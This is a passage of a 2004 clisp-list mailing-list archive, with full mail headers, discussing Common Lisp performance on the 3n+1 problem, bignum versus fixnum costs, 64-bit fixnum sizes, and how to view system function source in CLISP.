(Exim 4.34) id 1Bq2eA-0007U4-5A for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 21:36:02 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 90032586E4; Thu, 29 Jul 2004 06:35:58 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 99BA64CE5A; Thu, 29 Jul 2004 06:35:56 +0200 (CEST) Message-ID: <16648.32428.534912.184212@thalassa.informatimago.com> To: Elvin Peterson Cc: Clisp Subject: Re: [clisp-list] tail recursion optimization In-Reply-To: <20040729024257.29914.qmail@web52210.mail.yahoo.com> References: <16648.4534.984232.493699@thalassa.informatimago.com> <20040729024257.29914.qmail@web52210.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 21:37:01 2004 X-Original-Date: Thu, 29 Jul 2004 06:35:56 +0200 Elvin Peterson writes: > > > This is a problem I found on this site: > > > http://acm.uva.es/p/v1/100.html > > > And they have stated that C/C++ solutions run in > > > time 0.00 for values of n,m close to 1,000,000. > > > > Same here in clisp: > > > > CL-USER> (time (max-cycle-len 1000000 1000010)) > > > > Real time: 0.001348 sec. > > Run time: 0.0 sec. > > Space: 0 Bytes > > 259 > > > > It will be much longer if you actually want to find > the maximum length, i.e., > > (max-cycle-len 1 1000000) But 1 is not close to 1000000, at least by my undestanding of close. Do you believe that max_cycle_len(1,1000000) would take only 0 second in C? (While still giving you correct results on a 32bit processor?) -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From edi@agharta.de Wed Jul 28 23:16:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bq4DQ-00083d-4c for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 23:16:32 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bq4DP-0000t7-GJ for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 23:16:32 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 6817F62133; Thu, 29 Jul 2004 08:16:25 +0200 (CEST) To: Cc: Elvin Peterson , Clisp Subject: Re: [clisp-list] tail recursion optimization References: <16648.4534.984232.493699@thalassa.informatimago.com> <20040729024257.29914.qmail@web52210.mail.yahoo.com> <16648.32428.534912.184212@thalassa.informatimago.com> From: Edi Weitz X-Home-Page: http://weitz.de/ Mail-Copies-To: never In-Reply-To: <16648.32428.534912.184212@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 29 Jul 2004 06:35:56 +0200") Message-ID: <87u0vr49ty.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 23:17:13 2004 X-Original-Date: Thu, 29 Jul 2004 08:16:25 +0200 On Thu, 29 Jul 2004 06:35:56 +0200, Pascal J.Bourguignon wrote: > Do you believe that max_cycle_len(1,1000000) would take only 0 > second in C? (While still giving you correct results on a 32bit > processor?) You can try yourself: Of course, it doesn't complete in 0.0 seconds - I killed the program after it had consumed 100% of my CPU (PIII 1200) for about five minutes. And of course, as Sam Steingold has pointed out, this "solution" fails miserably as soon as the numbers involved don't fit into 32 bits anymore while a Lisp program will yield correct results. Cheers, Edi. From sds@gnu.org Thu Jul 29 06:44:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqBD8-0003H8-Ho for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 06:44:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BqBD7-0004bX-MC for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 06:44:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6TDiULr017068; Thu, 29 Jul 2004 09:44:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040729025339.32545.qmail@web52210.mail.yahoo.com> (Elvin Peterson's message of "Wed, 28 Jul 2004 19:53:38 -0700 (PDT)") References: <20040729025339.32545.qmail@web52210.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: tail recursion optimization Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 06:45:07 2004 X-Original-Date: Thu, 29 Jul 2004 09:44:30 -0400 > * Elvin Peterson [2004-07-28 19:53:38 -0700]: > > --- Sam Steingold wrote: > >> >> So the code operates in fixed stack space but it has to cons up some >> bignums. > > Does this mean that the output of times is not the > actual maximum memory that is used by the function? both EXT:TIMES and TIME print the total memory allocated. (not the maximum memory used) >> Note that >> >> (integer-length 294475592320) ==> 39 >> >> i.e. 32-bit integers are insufficient to perform the >> above calculations >> (contrary to http://acm.uva.es/p/v1/100.html). > > So the performance problem is purely due to BIGNUM allocation? no, it's not just allocations, it's also calculations. the larger the numbers, the longer the cycle and the more expensive is the cycle-length computation because bignum operations are more expensive for larger bignums. > I suppose then the code will run very fast on a machine with 64 bit > integers. as long as everything fits into fixnums, performance is better. unfortunately, even on a 64 bit machine, fixnums are rarely large (32 bits on CLISP right now, see ). -- Sam Steingold (http://www.podval.org/~sds) running w2k Booze is the answer. I can't remember the question. From elvin_peterson@yahoo.com Thu Jul 29 07:41:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqC5s-0008G9-U7 for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 07:41:16 -0700 Received: from web52210.mail.yahoo.com ([206.190.39.92]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BqC5s-0007o1-GD for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 07:41:16 -0700 Message-ID: <20040729144110.15203.qmail@web52210.mail.yahoo.com> Received: from [202.83.41.252] by web52210.mail.yahoo.com via HTTP; Thu, 29 Jul 2004 07:41:10 PDT From: Elvin Peterson Subject: Re: [clisp-list] Re: tail recursion optimization To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 07:42:01 2004 X-Original-Date: Thu, 29 Jul 2004 07:41:10 -0700 (PDT) --- Sam Steingold wrote: > > * Elvin Peterson > > >> Note that > >> > >> (integer-length 294475592320) ==> 39 > >> > >> i.e. 32-bit integers are insufficient to perform > the > >> above calculations > >> (contrary to http://acm.uva.es/p/v1/100.html). > > > > So the performance problem is purely due to BIGNUM > allocation? > > no, it's not just allocations, it's also > calculations. > > the larger the numbers, the longer the cycle and the > more expensive is > the cycle-length computation because bignum > operations are more > expensive for larger bignums. > > > > I suppose then the code will run very fast on a > machine with 64 bit > > integers. > > as long as everything fits into fixnums, performance > is better. > unfortunately, even on a 64 bit machine, fixnums are > rarely large > (32 bits on CLISP right now, see Looks like it will take a lot of effort to implement 64 bit in clisp. But it may be a long time before systems are 64 bit by default (I know several Solaris installations which are still 32 bit, lowest common denominator and everything). __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From elvin_peterson@yahoo.com Thu Jul 29 07:46:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqCAl-0000vp-3H for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 07:46:19 -0700 Received: from web52203.mail.yahoo.com ([206.190.39.85]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1BqCAk-0000hv-Q2 for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 07:46:19 -0700 Message-ID: <20040729144613.22781.qmail@web52203.mail.yahoo.com> Received: from [202.83.41.252] by web52203.mail.yahoo.com via HTTP; Thu, 29 Jul 2004 07:46:13 PDT From: Elvin Peterson To: Clisp MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] system function source Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 07:47:02 2004 X-Original-Date: Thu, 29 Jul 2004 07:46:13 -0700 (PDT) Hello, Is it possible to get the system function source in clisp as in emacs? I know that the function "function" lists the source if it is not compiled already. Is it possible to prepare a binary which has this property? TIA. __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - Send 10MB messages! http://promotions.yahoo.com/new_mail From elvin_peterson@yahoo.com Thu Jul 29 07:53:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqCHO-0002Kq-EO for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 07:53:10 -0700 Received: from web52205.mail.yahoo.com ([206.190.39.87]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1BqCHO-0008OV-0f for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 07:53:10 -0700 Message-ID: <20040729145303.62969.qmail@web52205.mail.yahoo.com> Received: from [202.83.41.252] by web52205.mail.yahoo.com via HTTP; Thu, 29 Jul 2004 07:53:03 PDT From: Elvin Peterson Subject: Re: [clisp-list] tail recursion optimization To: Clisp In-Reply-To: <87u0vr49ty.fsf@bird.agharta.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 07:54:07 2004 X-Original-Date: Thu, 29 Jul 2004 07:53:03 -0700 (PDT) --- Edi Weitz wrote: > On Thu, 29 Jul 2004 06:35:56 +0200, Pascal > J.Bourguignon wrote: > > > Do you believe that max_cycle_len(1,1000000) would > take only 0 > > second in C? (While still giving you correct > results on a 32bit > > processor?) > > You can try yourself: > > > > > Of course, it doesn't complete in 0.0 seconds - I > killed the program > after it had consumed 100% of my CPU (PIII 1200) for > about five > minutes. And of course, as Sam Steingold has pointed > out, this > "solution" fails miserably as soon as the numbers > involved don't fit > into 32 bits anymore while a Lisp program will yield > correct results. Ack! If you can't trust a random site on the Internet, who can you trust? However, in their results page, they had the top 20 people finishing with time 0.00. Thanks again to all those who replied. __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From raymond.toy@ericsson.com Thu Jul 29 08:08:15 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqCVz-0005oG-B0 for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 08:08:15 -0700 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqCVy-0002xU-Ve for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 08:08:15 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i6TF841Z000494 for ; Thu, 29 Jul 2004 10:08:04 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id PXJQR2MX; Thu, 29 Jul 2004 10:07:53 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i6TF82R03490 for ; Thu, 29 Jul 2004 10:08:03 -0500 (CDT) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: tail recursion optimization References: <20040729025339.32545.qmail@web52210.mail.yahoo.com> From: Raymond Toy In-Reply-To: (Sam Steingold's message of "Thu, 29 Jul 2004 09:44:30 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 08:09:05 2004 X-Original-Date: Thu, 29 Jul 2004 11:08:02 -0400 >>>>> "Sam" == Sam Steingold writes: Sam> as long as everything fits into fixnums, performance is better. Sam> unfortunately, even on a 64 bit machine, fixnums are rarely large Sam> (32 bits on CLISP right now, see Sam> ). Do you mean running a 32-bit lisp on a 64-bit machine? Then yes, you're right. But a 64-bit lisp on a 64-bit machine would presumably have fixnum that are close to 60 bits in length. I'm pretty sure that 64-bit ACL uses 60-bit fixnums. I suspect cmucl and sbcl will have 60-bit fixnums if the amd64 port ever gets done. Ray From pascal@informatimago.com Thu Jul 29 09:12:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqDVh-0004rf-Sf for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:12:01 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqDVh-0008RT-3a for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:12:01 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 498AF586E3; Thu, 29 Jul 2004 18:11:54 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 9EACE4D59A; Thu, 29 Jul 2004 18:11:51 +0200 (CEST) Message-ID: <16649.8647.566565.588642@thalassa.informatimago.com> To: Elvin Peterson Cc: Clisp Subject: [clisp-list] system function source In-Reply-To: <20040729144613.22781.qmail@web52203.mail.yahoo.com> References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 09:13:00 2004 X-Original-Date: Thu, 29 Jul 2004 18:11:51 +0200 Elvin Peterson writes: > Hello, > Is it possible to get the system function source in > clisp as in emacs? Of course. Just check /usr/local/src/clisp-2.33.2/src/*.d > I know that the function > "function" lists the source if it is not compiled > already. Actually, it's FUNCTION-LAMBDA-EXPRESSION. But this is an implementation dependant feature and DISASSEMBLE too, for compiled functions. > Is it possible to prepare a binary which has > this property? Yes. You could use an image where you've patched LOAD, COMPILE, DEFUN, DEFMACRO and others to make sure to keep the source lambda expression in core, and in which you would have loaded the source of the primitives (all these *.d files in /usr/local/src/clisp-2.33.2/src/), along with a couple of functions to index and browse these sources. But, emacs is an editor, clisp is not. It could be worthwhile to incorporate an editor in clisp, I agree. Have a look at Portable Hemlock (phemlock). http://www.stud.uni-karlsruhe.de/~unk6/hemlock/ -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From raymond.toy@ericsson.com Thu Jul 29 09:26:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqDjS-0008Qt-F8 for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:26:14 -0700 Received: from imr2.ericy.com ([198.24.6.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BqDjS-0004uW-1S for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:26:14 -0700 Received: from eamrcnt750.exu.ericsson.se (eamrcnt750.exu.ericsson.se [138.85.133.51]) by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i6TGQ61Z022221; Thu, 29 Jul 2004 11:26:06 -0500 (CDT) Received: from mailhost.exu.ericsson.se ([138.85.75.19]) by eamrcnt750.exu.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2657.72) id PXJQRS0G; Thu, 29 Jul 2004 11:25:55 -0500 Received: from edgedsp4.rtp.ericsson.se (edgedsp4.rtp.ericsson.se [147.117.85.209]) by mailhost.exu.ericsson.se (8.11.7+Sun/8.11.6) with ESMTP id i6TGQ4R06124; Thu, 29 Jul 2004 11:26:05 -0500 (CDT) To: Elvin Peterson Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: tail recursion optimization References: <20040729144110.15203.qmail@web52210.mail.yahoo.com> From: Raymond Toy In-Reply-To: <20040729144110.15203.qmail@web52210.mail.yahoo.com> (Elvin Peterson's message of "Thu, 29 Jul 2004 07:41:10 -0700 (PDT)") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, usg-unix-v) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 29 09:27:02 2004 X-Original-Date: Thu, 29 Jul 2004 12:26:03 -0400 >>>>> "Elvin" == Elvin Peterson writes: Elvin> Looks like it will take a lot of effort to implement Elvin> 64 bit in clisp. But it may be a long time before Elvin> systems are 64 bit by default (I know several Solaris Elvin> installations which are still 32 bit, lowest common Elvin> denominator and everything). What kind of Sun machines are they running? Ultra 2 slower than 170 MHz? Or maybe they're still running Solaris 2.5? All Ultra machines are 64-bit, but I don't think Solaris became 64-bit until 2.6 or 2.7. (Could be wrong, though.) Ray From sds@gnu.org Thu Jul 29 09:27:17 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BqDkS-0000HC-Qb for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:27:16 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BqDkS-000374-Cc for clisp-list@lists.sourceforge.net; Thu, 29 Jul 2004 09:27:16 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6TGR5Lr005264; Thu, 29 Jul 2004 12:27:06 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Elvin Peterson Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040729144613.22781.qmail@web52203.mail.yahoo.com> (Elvin Peterson's message of "Thu, 29 Jul 2004 07:46:13 -0700 (PDT)") User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) References: <20040729144613.22781.qmail@web52203.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Elvin Peterson Message-ID: MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: system function source Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: 